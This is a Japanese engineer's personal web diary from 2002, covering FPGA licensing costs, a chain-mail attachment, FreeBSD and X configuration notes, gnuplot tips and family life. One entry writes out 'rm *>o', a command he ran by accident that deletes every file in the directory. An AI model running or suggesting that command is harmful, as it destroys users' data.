- バージョンアップしないと古いコンパイラは期限切れで動かなくなる。しかも、ドングルとライセンスファイル両方に期限切れがある。つまり開発をやめても、保守している限り、毎年 150万円払わなければいけない。
- コンパイルに2時間かかったりする。まあ、これは仕方ないんですけどね。
- VHDL が生成するのは FPGA のベンダー依存がない EDIF という Lisp みたいな形式で、それをベンダー依存の実際に動作するコードに翻訳するのに、年 100万円位かかる。
- ベンダーのドングルとライセンスファイルも同様に必要で期限もある。ドングルが2段にささるわけです(-_-)。
- コンパイラのバグが多い。
この様に、FPGA の場合コンパイラが独占状態なので、極めて劣悪な開発環境を高額で押し付けてくるのであります。また非常に時間と手間がかかるので、体や精神に異常をきたして、一ヶ月休んじゃったりするのであります。 GNU for FPGA なんてのが普及するまでは、まだ時間がかかりそうであります。
シミュレーションの画面。これも高いです(^^;。

2002年9月2日(月)

アゲハ復活と MC
今日の朝わたしが出かけた後、最後のサナギが羽化したそうです(^^)。もうひからびたと思っていました。
あと MC が届いていました(^^)。12月24日というのも微妙でありますね。
チェーンメール
二女にチェーンメールが届きました。チェーンしないと 300万円払う必要があるなんて書いてあります。それで、やっぱり中学生位だとそういうのが恐いみたいで、「パパどうしよう」なんて聞くのです。当然捨ててしまいなさいと言いました。
ここまでは父親として、技術者として極めて正しい対応でしたが、実を言うと私、添付してある実行ファイルを間違って実行しちゃったんです(^^;。そのー、「実行しないで捨てますか」なんてメッセージが出てそれをよく見ないで、「実行しますか」だと思って「いいえ」を押しちゃったのです(^^;。メーラーは Beckey で Netscape が起動しちゃったんですが大丈夫ですかねえ。ウイルスソフトなんて持ってないし。
一応 tcpdump でモニターしている分には変なパケットは出てない様ですけど。また再インストールなんてやだな(-_-)。
私宛のメールアドレスを Outlook のアドレス帳にでも入れて、なんにも出なければいいんでしょうかねえ。だけど Outlook の使い方も知らないし困ったもんです(^^;。
極悪金融
どなたもそうでしょうが、私もご多分にもれず、給料日が近づくとお財布の中が淋しくなってきます。そんなときに限って急にちょっとした出費が必要になったりすることも多いのです。財布のなかに 1,000円しか入ってないのに、明日 5,000円必要になるとか。そこで、奧さまに「お金ちょうだい」なんて言うと、「私も 2,000円しかないの」と言われたりします。
仕方がないので、サラ金に借りに行くわけですが、いつも悪口を言ってるので審査ではじかれるのです(^^;。
冗談はともかくとして、こんなときに一番たよりになるのはやっぱりモカ姫であって、お年玉とかをもらっても、特に使うわけでもないので結構ためこんでいるのです(^^)。それで一万円を三日間位借りるわけですが、返すときにお駄賃ということで 100円位献上するわけであります。
ここまでは、どこの家庭でもありふれた光景だと思うのですが(←ほんとかよ^^;)、良く考えてみるととんでもない利息を払っていることになるのです。
一万円を三日で 100円なので、三日で 1%の利息。一年では
```
    (1.01)^(365/3)     = 3.35558  倍(^^;   # 3日複利の場合
    1 + (0.01)*(365/3) = 2.21666  倍(^^;   # 安心安心一年複利の場合
```
何とモカ銀行、年利 235% または 121% というとんでもない極悪金融なのであります(^^)。
年利 30% でサラ金から一万円を借りて一ヶ月で返せば、10000x(1.3^(1/12)) で 10221 円。「全然たいしたことないじゃん」と思って泥沼にはまる人が多いのでしょうね。そもそも、「無計画にお金を借りる」という段階で破綻していると思うんですがね。
# 子供から高利で借金したり、月末になると自分より一回り以上も若い人から、
# しょっちゅう無利子で借金する人間が偉そうなことを書きますな(^^)。
X のキーボード設定の覚え書き
Escape と `~ の置換。~/.Xmodmap に次の設定。
```
  keycode 49 = Escape
  keycode 9 = grave asciitilde
```
.xinitrc で /usr/X11R6/bin/xmodmap を実行。 keycode は xev で調査。右辺の雛形は現在検索中。
ただ shell で ~ と ` を多用するので不便な面もありますね(^^;。

2002年9月1日(日)

カイの迷宮
昨日、カイの迷宮を聴きましたが、本当にすばらしい曲ばかりです。「岸を離れる日」とってもいいですね。ただ世の中のうわさを聞くと、演出が余り良くなかったとかで幻想図書館１の評判はいまいちだった様ですね。わたしも DVD を持っていません。どうせなら谷山浩子さん自身の演出で、もういちど幻想図書館３とかで雪の女王をやってほしいものです。
まあ、無理でしょうね(^^;。
家族のメールアドレスと自慢話 奧さまと二女のメールアドレスも移行しました。しばらくは前の biglobe アドレス宛のメールもフォワードされます。
ついでにモカのアドレスも作成。インターネットの検索などをやっていて、ローマ字入力は出来るようになっているのです(^^)。
今日も会社
本日も出社でございます(=_=)。マックでハンバーガー(^^;を買って 12時に会社到着。

さっそくメール

-------------------------------------------------
Subject: もかちゃんよｖ
From: MOKA <xxxxxxxx@evariste.que.ne.jp>
To: KAGAMI Hiromichi <kagami@evariste.que.ne.jp>
Date: Sun, 01 Sep 2002 11:21:36 +0900

パパへ
おみやげ待ってるよ☆
明日は、学校で嬉しいな。
あなたのアイドル
　　　♪ＭＯＫＡ♪より

もかちゃん 
-------------------------------------------------

明らかに奧さまの指導が入っていますね(^^)。でもって返事。

----------------------------------------------------------------
Subject: Re: もかちゃんよｖ
From: KAGAMI Hiromichi <kagami@evariste.que.ne.jp>
To: xxxxxxxx@evariste.que.ne.jp
Date: Sun, 01 Sep 2002 12:56:51 +0900 (JST)
X-Mailer: Mew version 3.0.60 on Emacs 21.2 / Mule 5.0 (SAKAKI)

もかちゃんへ

パパです。メールありがとう。

From: MOKA 
Subject: もかちゃんよｖ
Date: Sun, 01 Sep 2002 11:21:36 +0900

> おみやげ待ってるよ☆

なにがいいの。

> 明日は、学校で嬉しいな。

担任の先生に会えるね(^^)。
----------------------------------------------------------------

もし、アイネットディーのレンタルサーバーを借りなければ、モカのアドレスの料金 200円を biglobe に払う必要があったわけで、そういう意味ではレンタルサーバーの料金はほとんどペイしました。好みのサブドメインももらえたし大成功であります。

宿題(^^;
さっきのタブブラウザの話は、つまんないのにディスク容量ばっかり使うので削除(^^;
それはともかく、これから二女の宿題をやるのです。しかしいっくらせっぱ詰まったとはいえ、私に英作文の宿題をやらせるとは勇気がありますね(^^)。
英語が終わったら社会の人権に関する作文。これも私が書くことに(^^;。原稿用紙 2枚以上 5枚まで。住基ネットのことでも書きましょう。しかしいっくらせっぱ詰まったとはいえ、私に作文の宿題をやらせるとは勇気がありますね(^^)。
# 会社よりいそがしいや(^^)

2002年8月31日(土)

MoonSong
昨日11時半頃家についたら MoonSong が届いていました(^^)。
PNG ファイルでみたときほどは悲惨でないですね。あれでも 20枚位書いたので一番ましなのですからね(^^;。
本当にありがとうございます。
休日出勤
今日と明日は、いろいろお手伝いありて休日出勤です(-_-)。
なんと 9時半まで寝ていたというだらしなさであります。12時ちょっと前に会社到着。
それはともかく vi/tcsh というと、いかにも正当派という感じがして非常に好ましいのですが、 Emacs/bash などというと変態感がひしひしと漂いますな(^^;。お客さんのところで不便な思いをすることも多いのです。
そもそも、どうして bash なのかといいますと、最初に本格的にさわった UNIX マシンが IBM RS/6000 で、それのデフォルトシェルが ksh だったからなのと、 FreeBSD よりちょっと前に Linux で遊んだことがあるからなのです。
FreeBSD を使い始めたとき、一度は tcsh に鞍替えしようかとも思ったのですが、(当時の？)デフォルトの auto-logout が気に入らなかったというそれだけの理由でやめてしまいました(^^;。 BSD の人達も意地悪をしないで bash を /bin に入れて欲しいものです。
# あと csh 系の構文はあんまり好きじゃないですね。
# じゃあ sh 系はきれいかと言われると、これもちょっとねえ(^^;。
スペースセーバー PS/2(^^;
FreeBSD サーバー機(Evariste)の安物 Happy Hacking キーがそろそろ寿命でして、 Ctrl キーががたがいって、押されたりはなされたりの状態が不安定で非常に使いにくくなってきました。わたしの場合 Ctrl キーを多用するので極めて困った事態なのです(^^;。
「なんかいいキーボードはないかな～」とその辺を歩きまわっていたら S 君が 自分のスペースセーバー PS/2 英語版を貸してくれました。
使ってみた感じとして、やっぱり Thinkpad なんかと比べると、タッチが安っぽいですね(S 君ごめんなさい)。あと、わたしは ESC も多用する人(^^;なので ESC をバッククオート(チルダ)と交換する必要があるのでけどやり方が分からないです(^^;。
そういうわけで、今はノート PC から ForwardX11 付きの ssh でログインして、全部の仕事をノート PC で行っています。
ちなみに、わたくし、ALT を使えないのと Caps Lock を Ctrl に置き換える人なので、下段で使用するのはスペースだけだったりします(^^;。
おまけ。
ハードウエア JPEG エンコードしたデーモン君。手抜きがありてサイズが大きいし色も良くない(^^;。
右隅にぼんやり写っているのが 50円自動販売機。
もひとつおまけ。
内部の SRAM のアドレスバスが一本切れていた時の絵(^^;。
それはそうとして、突然調子が良くなってますな(^^)。

2002年8月30日(金)

玉虫
モカがラジオ体操に行く途中で、青緑色に輝く玉虫をつかまえてきました。とっても綺麗です(^^)。
東電が原発トラブル隠し　福島、柏崎刈羽で２９件
福島県もなめられたものですな。
続・誕生日
なんか、会社の女性と話をしていたら、社員が 20 人しかいないのに、
```
  K さん  男性   8月20日(^^;  わたしではない。
  Y さん  男性   8月24日
  A さん  女性   8月26日
  S さん  女性   8月31日
  I さん  女性   9月 5日
```
と極めて集中しているのであります。ちなみに K さんと奧さまは同じ日で、奧さまの方が先に生まれていますので、K さんを特許侵害で訴える予定であります(^^)。
Y さんはまだ 30才位なので訴えることが可能かも知れません(^^)。
crunch の恐怖
FreeBSD で /stand ディレクトリをみると、
```
$ ls -li
31745 -r-xr-xr-x  32 root  wheel  1865544 Sep 19  2001 -sh
31745 -r-xr-xr-x  32 root  wheel  1865544 Sep 19  2001 [
31745 -r-xr-xr-x  32 root  wheel  1865544 Sep 19  2001 arp
...
31745 -r-xr-xr-x  32 root  wheel  1865544 Sep 19  2001 usbdevs
31745 -r-xr-xr-x  32 root  wheel  1865544 Sep 19  2001 zcat
```
という具合いに同じサイズのファイルが 32 個入っています。というより、サイズが同じだけなのではなく i 番号をみると分かるように、全部同一のファイルのハードリンクです。
これは crunch と呼ばれていて、例えば boot 用のデバイスがあまり容量がなく、極力ファイルサイズを減らしたい場合に使用されます。実際には、各コマンドを自動的にまとめて、argv[0] で分岐する実行ファイルを生成する crunchgen というプログラムがあるのです。
ここまでは、ちょっと BSD なり Linux をいじったことがある人はご存じと思うのですが、運用に注意しないと大変な事態になるのです。
実際、組み込み機器などはブートデバイスの容量を確保できないことが多いので NetBSD などを使用すると /sbin や /bin の中身を crunch にすることが多いのです。
ところが、開発中ですと、しょっちゅう kernel が変更になり、そのたびに ps や netstat の調子が悪くなりコンパイルしなおす必要がでてくることもあるのです。そこで思わず、
```
# cp ps /bin
```
なんてやってしまうと大変大変。突然わけが分からない状態になり、仕方なく reboot なんて打つとプロセスのリストが出てきたりして、うーん不思議。
しょうがないんで電源を入れ直すと、なんかメッセージが変で、login が出るべき時にプロセスのリスト(^^;が出たりするのです。
この期に及んで、わたしも「しまったー、全部のコマンドが ps になっちゃった～」と気が付くのですが、当然手遅れであります(^^;。
この場合、全部 crunch し直したバイナリーをコピーするか、暫定的には
```
# rm /bin/ps
# cp ps /bin
```
と ps を別のファイルにしてしまうのが正しいのです。言われてみればあたりまえのことですが、私の回りの相当な UNIX 使いの人たち全員が一度は痛い目にあっているようです。

2002年8月29日(木)

お誕生日
谷山浩子さま。お誕生日おめでとうございます(^^)。
プロバイダー
WWW サーバーやメールサーバーの憂いがなくなったので、またプロバイダー移行の欲求がでてきました(^^;。
候補としては IIJ、DTI あたりなんですが DTI じゃいっくらなんでも人のまねが過ぎますかね(^^)。
物理層とデータリンクは NTT、ネットワーク層はプロバイダー、トランスポート層より上位はレンタルサーバーと分けておくと、多少予算が多くかかりますがいろいろと融通がききそうです。
IIJ が月額 2,200 円、DTI が月額 1,880 円。結構違いますね。わたしの家や会社から www.dti.ad.jp にアクセスすると異常に速度が遅いのですが、もし全国的にそうだとすると、これだけで大分損をしていると思うのですが。
別にあせる必要もないので、のんびり考えましょう。
ひとやすみ
2 次補間の覚え書きなんて出さなければよかったかも知れませんね(^^;。
いや、笑いごっちゃないんですけど。
お出かけ
今日は 12時から埼玉県におでかけ。埼玉に行く日はとても暑いです(^^;。
浮上(^^;
しばらく沈没しているはずだったのですがねえ(^^;。
あれっ、あんなに見直したのに一カ所間違えてる(^^)。

2002年8月28日(水)

kagami@evariste.que.ne.jp
午前様で家に帰ってきたら、アイネットディーから「ホスティングサービス設定完了通知」のメールが来ていました。奧さまがセブン・イレブンで振り込んだのが昨日の夕方なのに本当に速いですね(^^)。
本日よりわたくしのメールアドレスは、
kagami@evariste.que.ne.jp
となりますのでよろしくお願い致します。前のアドレスもしばらく生かしておきます。さっそく、人数の多い方のメーリングリストのメールアドレスを変更しました。
人数の少ない方、どうもありがとうございます。いやー、やり方は知ってたのですが、勝手にやっちゃいけないのかなと思いまして(^^;。
ビデオ
VHS のビデオテープは、図体が大きくて、もう整理が不可能です(^^;。松下の HDD + DVD レコーダーとかが欲しいところですが、予算がないのと DVD の規格が乱立していて、もうわけが分かりません(=_=)。
ミラーサーバー
いまのところ全然意味がないのですが http://evariste.que.ne.jp/kagami/ がミラーサーバーです。biglobe に依存した内容が含まれているので、まだ動作がおかしいかも知れません。ssh が使えるのでファイルのコピーはとても楽です。
ちゅーか、今後は evariste 側が本家で、biglobe がミラーですね。面倒なので biglobe 側のアクセスログも廃止しました。
evariste 側はレンタルサーバーが勝手にアクセスログを取って朝の 3時に集計されます。どうしてもアクセスログを残したくないという方(^^;以外は、 evariste 側へのアクセスをお願い致します。やっぱりだれが来ているか全然分からないのもちょっと辛いので。

2002年8月27日(火)

さよなら FreeBSD
よくみたら、クロアゲハが羽化した方もいらっしゃる様ですね。うらやましー(^^;。
本題に入りまして、FreeBSD とさよならしたんじゃなくって、 FreeBSD CDROM の定期購読を中止しました。 FreeBSD-2.1.5 の頃から、約 5年間の購読でした。理由としては次の通りです。
- 今までは、寄付の意味もあったのですが、わたしが作ったアプリケーションがノンストップで 5 年間位 200 台以上の FreeBSD マシンで動作しているので、すでに十分貢献したであろうと思う。
 おっと、忘れるところでした。2000年1月1日にはちゃんと止まりました。ははは、新聞や週刊誌にものりましたよ～。
単にお金を節約したいだけですね(^^;。
解約の返信のヘッダ。
```
Subject: RE: Cancel my subscription of FreeBSD CD-ROM
From: xxxx@freebsdmall.com
To: kagami@evariste.que.ne.jp
Cc: yyyy@freebsdmall.com
Date: Mon, 26 Aug 2002 14:56:35 -0700
Reply-To: xxxx@freebsdmall.com
X-Mailer: Microsoft Outlook, Build 10.0.2627 <--- (^^;
Organization: Freebsd Mall
```
しまうま
最近よく聴きます(^^)。鳥籠姫が好き ♥。「森へおいで」、「王国」、「鳥籠姫」なんて並べると幻想的でちょっと危ない曲が好きなんですね。もちろん、他にも大好きは曲はたくさんあります。天空歌集の曲なんて全部好きですしね。幻想図書館から一月半経ちましたが、そろそろ生で聴きたくなってきました。あと２か月ちょっとですか。長いですね(^^;。
ルービンシュタイン
久しぶりにルービンシュタイン演奏のショパン・ノクターン集を聴きました。一時、駅とかで千円くらいで売っていたものです。若いころは、ホロヴィッツ、ミケランジェリ、グールド、ポリーニ、アルゲリッチなどの切れ味の良い演奏が好きで、ルービンシュタインの演奏の良さはあんまり分からなかったです。また、ショパンの作品としてはエチュード、プレリュードなどが好きで、ノクターンはショパンの作品としてはちょっと落ちるかななどと思っていたのです。
ところが、ルービンシュタインの演奏でノクターンを聴くと、ピアノの音の響きの充実感がいかに心に満足を与えてくれるかが良く分かるのです。ノクターンは、ショパンの曲の中でも装飾音が多く、普通のピアニストですと、曲のピアニッシモの部分を強調して、テンポを変化させ、その上で装飾音の美しさを表現しようとする場合が多いのですが、ルービンシュタインの演奏はまったく違う解釈で行われるのです。
ルービンシュタインの演奏は当然右手の強弱はあるのですが、極端に強弱をつけることはありません。音の強弱ではなく音色の変化で曲想を表現するのです。その音の一つ一つがとても充実感があり、また左手の他のピアニストでは考えられないほどの美しさと相まって、本当に深い満足感と幸福感が得られるのです。また左右両方の手の音色の表現の絶妙さからなのか、突然意外な部分で普段気が付かない多声的な音が聞こえてきて驚かされることもしばしばです。
作品 9の1 の最初の音からピアノの音色の世界に引き込まれると思います。もし聴いたことがないのでしたら、ぜひ一度聴いていただければいいなと思います。
- 作品 27の2 はノクターンの最高傑作といえる曲で、信じられないほど美しい装飾音が連続して、場合によっては、麻薬的、頽廃的な響きを感じる曲ですが、ルービンシュタインは、装飾音を表面的な美しさではなく、内容の深い充実した音色の美しさで表現し、それがとても深い感動を与えてくれます。数多いショパンの曲の演奏でも最高のものの一つだと思います。
- 作品 32の2 は、どちらかというと平凡な曲なのですが、演奏を聴いていると突然多声的な響きが聞こえてきて本当に驚かされるとともに、「音色の充実とはこういうものか」ということが良く分かります。
- 作品 48 の 1 は、ノクターンというより、幻想曲風な曲ですが、その幻想性を十分堪能することができます。
20世紀の一番のピアニストはだれだったかなどというのは、もちろんナンセンスな問いなのですが、少なくとも、音色の充実で人に感動を与えてくれるピアニストとしては、ルービンシュタインが一番だったと思うのです。
# 数学や計算理論の話だとすぐに書けるのに、こういう文章は時間がかかりますね。
# しかも下手(^^;。まずいっ、朝の４時。
ラーメンもとい定食
今日は帰りが少し遅くなるので I さんと P 君とラーメンを食べに行く。
と思っていたら、I さんがごはんを食べたいと言うので、「たぬき」で定食を食べる。はっ、腹が～(^^;。
振り込み
奧さまから連絡ありて、アイネットディーに一年分の金額を振り込んでくれたとのこと。ログインできるのは明後日ですね。
ちなみに、今 biglobe に支払っているわたしや家族の追加メールアドレスの代金が 600 円で、移行期間をおいて evariste.que.ne.jp ドメインに変更する予定なので、金銭的にはあまり痛くないのです。

2002年8月26日(月)

ティンクちゃん復活(^^)
実はハムスターを飼っていまして、名前がティンクちゃん。年齢は大体一才です。去年だれかが捨てたのを(まったくけしからん)モカが捕まえてきて飼い始めたのです。 7月の中頃から元気がなくなってエサもあんまり食べず今年の夏は越えられないなかなと心配していたのですが、最近また元気がでてきました。どうも、歯の調子が悪くてあんまりエサを食べれなかったのが元気のなさの原因だった様です。
ご存じのように齧歯目の歯は一生のび続けるので、最近またのびて元気が出てきた様なのです。小さいハムスターなんてせいぜい２年の命ではありますが、なるべく長く生きてもらいたいものです。
ラジオ体操
朝目が覚めたらモカがいない(^^;。奧さまに聞いたら、ラジオ体操に行ったとのこと。なるほど、この時期にお菓子で買収してラジオ体操に参加させるとは、子供会もなかなか考えるものですな。
GIMP
この前デジカメの補正に、Photoshop 5.0 LE を使おうとしたけど使い方が分からないと書きました。というより、Photoshop 5.0 LE ってあんまりデジカメの補正には向いてないような感じです。
だけど、わたくし、絵が描けないので、例えば PaintShopPro7 を買うのはいくらなんでももったいない。まあ、二女に買ってあげればいいのだけれど、今はあんまりおもちゃを与えたくないし(^^;。
そこでこんど使ってみようと思っているのが GIMP であります。
これなら無料だし、FreeBSD で動きますしね。もっとも、補正のソフトがどうのこうの以前に、色に関する勉強不足や感受性不足ででうまくいかない面が大きいのはわかってるんですけどね。
# PaintShop と PhotoShop の違いも分からないの～(^^;。
アイネットディーからの連絡
連絡が来ました。evariste.que.ne.jp で大丈夫だそうです。 ←そりゃそうだよな(^^)。
振り込みを確認した次の日位からログイン出来るようになるそうです。
evariste.com とか evariste.org ってのはありますね(^^;。
あぶない～
さっき打ち込んだコマンド。
```
  $ rm *>o
```
思わずシフトを押しました。アスタはシフトだし。バックアップがあって良かった～(^^;。

o という 0 バイトのファイルだけが残るのも極めて間抜けです。
それはともかく hitori-020825-3.gif を壁紙にすると迫力満点(^^)。

2002年8月25日(日)

ぜいたくな悩みごと
前にも書いたと思うのですが、わたくし整理整頓ができなくて、すぐにものをなくしてしまいます。なくしてもなんとかやっていけるものはいいのですが、さすがに谷山浩子さん関連の CD、記念の品物、楽譜、チケット、 Moon Song 等は絶対になくせません。
私の家は家族が多いので、収納に関してはかなり手狭な状況です。また、うかつにそのあたりにころがしておくと、子供がどこかに持っていってしまって、わけが分からなくなる場合も多いのです。
そこで 3月頃に、とりあえずということで、収納用の箱を買って、谷山浩子さん関連のものを入れておいたのですが、なんせただの箱なので中身の整理が難しかったのです。
それではということで、古い PC なんかを全部捨てて、Dynabook と DOS/V 386 ノートが占有していた収納戸棚の一部分を、谷山浩子さん専用の場所として確保したのです。もちろん、わたくし以外その中をさわるのは禁止であります(^^;。
ところが、半年間経過して、 CD や楽譜を買ったり、頂いたりでいろいろ物が増えてきたので、その棚もそろそろ満杯になってきて中からなにかをさがすのが困難になりつつあるのです。
ただし、これ以上場所を確保するのは困難な状況でありますし、 CD の場合、余りアクセスする回数も多くないので、CD だけでも前に買った箱に戻して管理しようかと考えているのです。
いずれにしても、ちょっと悩ましいのであります(^^)。
イモムシ全滅
10頭近くのアゲハのイモムシがサナギになったのですが、一頭も羽化しませんでした。寄生虫と思われますが原因不明です(=_=)。
秘密の白い粉
今日は、モカちゃんのサイエンス倶楽部。風邪が治りきってないのでついていけず。
帰ってきたので、今日のノートをみると、数種類の粉状の物質を薬品を使ってなにがどれだかを調べる実験。それで実験のお題目が「秘密の白い粉」(^^;。
な～んか、危ないよなー(^^)。
レンタルサーバー
外部に FreeBSD マシンがあると便利そうなのと、ドメイン名も欲しいのと、たまには ruby CGI でも作ってみたかったり、画像を置いたりするのに便利そうなので、アイネットディーのパーソナルプランに申し込み。サブドメイン名は
evariste.que.ne.jp となるはず。このページのありかは変わりませんが、気まぐれにアップするデジカメの画像とかはレンタルサーバーに移行する予定です。詳細は後日報告。
# 日記だけで biglobe の 10M を使いきるには 10年くらいかかりますからね(^^)。
チャチャさまどうもありがとうございます。

2002年8月24日(土)

めでたい
昨日は、きったない話ですみませんでしたね～(^^)。
なにはともあれ、お誕生日はおめでたいです～(^^)/。
三女の憂鬱
三女は最近朝起きるのが9時半頃。完全に夜更かし女と化しましたな。新学期は大変そうです(^^)。
今日も風邪～
また風邪がぶり返して、熱が出てしまいました。それにしても、着々と走り込みを行っている方もいらっしゃるというのに情けないですな(^^;。
あと、14号届きました。どうもありがとうございます。
登場頻度
えー、今までの日記での、谷山浩子さん、奧さま、三女、二女、長女の登場頻度です。まったくの概算でございます。
```
$ cat [01][1-9].html | nkf -e | egrep '谷山' | wc -l
119
$ cat [01][1-9].html | nkf -e | egrep '奥さ' | wc -l
55
$ cat [01][1-9].html | nkf -e | egrep '三女|モカ' | wc -l
82
$ cat [01][1-9].html | nkf -e | egrep '二女' | wc -l
40
$ cat [01][1-9].html | nkf -e | egrep '長女' | wc -l
20
```
やはり、谷山浩子さん堂々の一位でございます。あと、奧さまよりモカこと三女の方が多いのね(^^;。子供は、大きくなると出場回数が少なくなりますな。まあ、お子様がいらっしゃる方は、せいぜいちっちゃいうちに可愛がっておくのがいいですよ～(^^)。
おまけ。
```
$ cat [01][1-9].html | nkf -e | egrep 'チャチャ|ちゃちゃ' | wc -l
31
```
長女はチャチャさま以下ですか(^^;。

2002年8月23日(金)

今日中には
短いとはいえ、それなりの文章を考えるとなると迷ってしまいます(^^)。

やっと出来ました～(^^)/。なんか、スキャンして画像ファイルにすると、下手な字がますます下手に見えますね。お手数をお掛けしますが、よろしくお願いします。
あと、会費は本日奧さまに振り込んでもらいました。
二女の憂鬱
例年のことなのですが、夏休みも終りが近づいてくると、二女の機嫌が悪くなります(^^;。
宿題やんないのは、わたしに似たからで仕方がないんですが、昔と違って内申書がありますからねえ。困ったものです。
キーボードとマウス
FreeBSD の X 環境以外あんまり使わないし、キーボードを良く使うアプリケーションも emacs と bash/kterm だけだったりします(^^;。キーボードは日本語でも英語でもどっちでも構わないです。 Windows の時以外、カーソルキーは使わないです。タッチは余り固くないのが好みで、押した充実感はあるけど、若干の「粘性」があって手に優しい感じのがいいですね。固いやつだとすぐに腱鞘炎になっちゃうのです。昔の Epson Endeavor に付いてきたキーボードは結構好みです。
現在使っているのは、
- Thinkpad のキーボード。
- Evariste(FreeBSD サーバー)につながっている Happy Hacking の安いやつ。
  こいつは、キータッチが値段に比例して安っぽいです。値段が高いやつはいいんですけど、予算がねえ(^^;。
- Windows 2000 マシンにつながっている、大昔の Endeavor のキーボード。旗付き。
ちなみに emacs を使っていると神業と称されることもあるのですが、お客さんのところで仕方なく vi を使ったりすると、突然 hjkl 以外使えなくなって、若い人とか、場合によっては社長がイライラして、代わりに入力してくれたりします(^^)。
キーのカスタマイズはおとなしい方でして、CapsLock の Ctrl 化と半角/全角の Esc 化という常識的なものです(^^;。
あと、良く知られているように、わたくしは Microsoft があんまり好きではないのですが、マウスだけは Microsoft の大ファンでして、ほかのメーカーのマウスは絶対に使わないのです。
同じ会社の中国人の T さんは emacs,vi,notepad いずれも神業のような速度で入力できるという驚異の天才です。
# マイクロソフトはハードウエアが優秀で、
# インテルはコンパイラなどのソフトウエアが優秀(^^;。
# 悪く言われることも多いけど、両方ともちゃんと
# モノ(含ソフトウエア)をつくっているのが強みですね。

S さんに聞いた gnuplot の使い方

自分用です。

線付きのグラフ。
plot "hoge.dat" with linespoints

補間関数の求め方(e.g 2次補間)
f(x)=x*(a*x + b) + c
a=1; b=1; c=1                # 適当な初期値
fit f(x) "hoge.dat" via a,b,c

補間した関数のグラフも表示
plot "hoge.dat",f(x)

a               = 0.148005         +/- 0.01037      (7.008%)
b               = -36.9605         +/- 0.9942       (2.69%)
c               = 2307.62          +/- 19.58        (0.8486%)

こーんな感じ。

U の悲劇～(^^;
人類始まって以来これほどの悲劇があったであろうか。そのー、会社で U をして、大量に紙を使いすぎたらしくって、U 壷が詰まって、一気に勝負をつけようと水を追加したら、勝負に負けて水があふれちゃったの～。
もう、女性に頭を下げてペコペコを女子トイレから調達して、一人で U 水びたりのトイレを 30分も掃除。最悪ですな。
# 今の会社で２回目の悲劇なんだけど(^^;。
# 奧さまからのメールの返信 → 家じゃなくってよかった！

2002年8月22日(木)

JDK-1.4
ちょっと必要があって FreeBSD ノートに JDK-1.4 をインストールしました。 JDK-1.4 は Linux 用しかないので、Linux emulation で動作させます。ところが root では動作しますが、kagami では core を吐いてしまうのです。どうも root でないと statfs が失敗して、それが原因で core を吐いてしまうようなのですが原因は不明です。 FreeBSD-users-jp に質問を出しました。だれかが教えてくれば良いのですが。
さっそく、教えてくださった方がいらしゃって、linux_base-7 ではなく linux_base-6 にすれば良いとのこと。この違いが良く分からないのですが動くからいいや(^^)。
Kernel のソースにパッチをあてると、linux_base-7 でも動作すると教えてくれた方もおられました。
体調不良
なーんか、涼しくなってきたら一気に夏の疲れが出て、今日は体調が最悪です。疲れた～。いかん、いかん、こんなことでは 11月から 12月の強行日程に耐えられない。12月1日にはディズニーランドの予定も入ってるし(^^;。
前回の経験では、仮に会社を休んでコンサートに専念しても、普通の日の会社勤務より疲れますからね(^^;。
マウスの子宮移植・妊娠に成功　人への臨床応用に道
もうやめて下さい。
病院熱もあるんで病院にいってきます。まいった～(^^;。
風邪薬をもらってだいぶ楽になりました。

2002年8月21日(水)

気候
昨日はずいぶん過ごしやすい気候でしたね。このまま秋になってほしいものです。だけど、台風の影響で一時的な涼しさといううわさもありますしね。ちゅーか、あっちこっちの日記に同じことが書いてありますね(^^;。
プレゼント
昨日の奧さまへのプレゼントは非常に好評でした。I さん、どうもありがとうございます(^^)。
お詫び
昨日はとってもお忙しいのに、お願いごとしちゃって申し訳けありませんでした。
えー、これからもよろしくお願い致します。←意味不明ですな(^^;。
確率的判定法
前に、素数判定で確率的方法による多項式時間の判定方法(高速な判定方法) があると書きました。これは次のように行われます。
p を素数かどうか知りたい自然数、また n を 0 <= n < p を満たす自然数とします。ここで、いろいろご意見もあろうかと思いますが、 0 は自然数の仲間であることとします。このとき、次のようなアルゴリズム Q(p,n) を具体的に構成出来るのです。
- 任意の n に対して Q(p,n) は p に対して多項式時間で停止する。 Q(p,n) は p が素数かどうかを(間違う場合もあるが)判定する。
- p が素数の場合、任意の n に対して Q(p,n) は正しく p を素数と判定する。
- p が素数でない場合 Q(p,n) は p を合成数と正しく判断する場合と、間違って p を素数と判断する場合がある(^^;。
最後の条件は、Q(p,n) は素数判定に全く役に立たないってことですね～(^^)。
ところが、最後の条件を強めて次の様にすると事態は急変するのであります。
- p が素数でない場合 Q(p,n) は p を合成数と正しく判断する場合と、間違って p を素数と判断する場合がある。ただし、0 <= n < p を満たす n のうち半分以上の n に対しては、正しく合成数と判断する。
半分も間違うんじゃお話になりませんね(^^;。
ここでちょっと考え直して、n1,n2,...,n20 を 0 <= n < p からランダムに選んだ 20 個の自然数として、 Q(p,n1),Q(p,n2),...,Q(p,n20) を実行してみましょう。簡単に分かるように、次の事実が成立します。
- Q(p,ni) のうち一つでも p が合成数と判断すれば p は本当に 合成数。
- Q(p,ni) が全部素数と判断した場合、誤っている確率は (1/2)^20 以下となり百万分の一以下。
もちろん、試行回数を増やせば、いくらでも間違える確率を減らすことができます。
これが、確率的素数判定法の概要なのですが、本当にうまいことを考える人がいるものです。また、上記の半分間違うかも知れないというのは理論値であり、現実には一回でもはずれを引くのは、宝くじの当りを引くよりはるかに難しいのです。
回線トラブル調査
真面目に調査を開始するとトラブルは発生しなくなるものですな(^^;。
自分が作ったプログラムがまれにおかしくなるとした場合、一ヶ月に一回位というのが一番困るでしょうね。頻繁に発生すれば原因究明がしやすいでしょうし、一年に一回位なら笑ってごまかしてしまえばいいし～(^^)。バグなんて再現させることが出来れば、あとはパズルのノリで楽しいデバッグですからね。
わたしのプログラムは絶対にバグがないので関係ないけど。←そんなこといっていいの(^^;。

2002年8月20日(火)

誕生日
今日は奧さまとピアノの先生の誕生日。特に何かするわけじゃないけど。奧さまはこれから半年間は私と一才違い。私は冬男なのに、家には 4人も女性がいて全員夏女なのです。非常に孤独なのです(^^)。
これから、いろんな人の誕生日が続きますね(^^)。
アオムシコバチ
アゲハやクロアゲハの幼虫が、何頭かさなぎになりましたが、成虫になりません。良く見るとさなぎに小さな穴が開いている。おそらく犯人はアオムシコバチと思われますが、いくらなんでも家の中にはいないと思うのです。全部外で感染したのかも知れませんが、一匹も成虫になれないのが不思議。奧さまがイモムシをどんどん供給しているので、まだ希望はあるのですが。
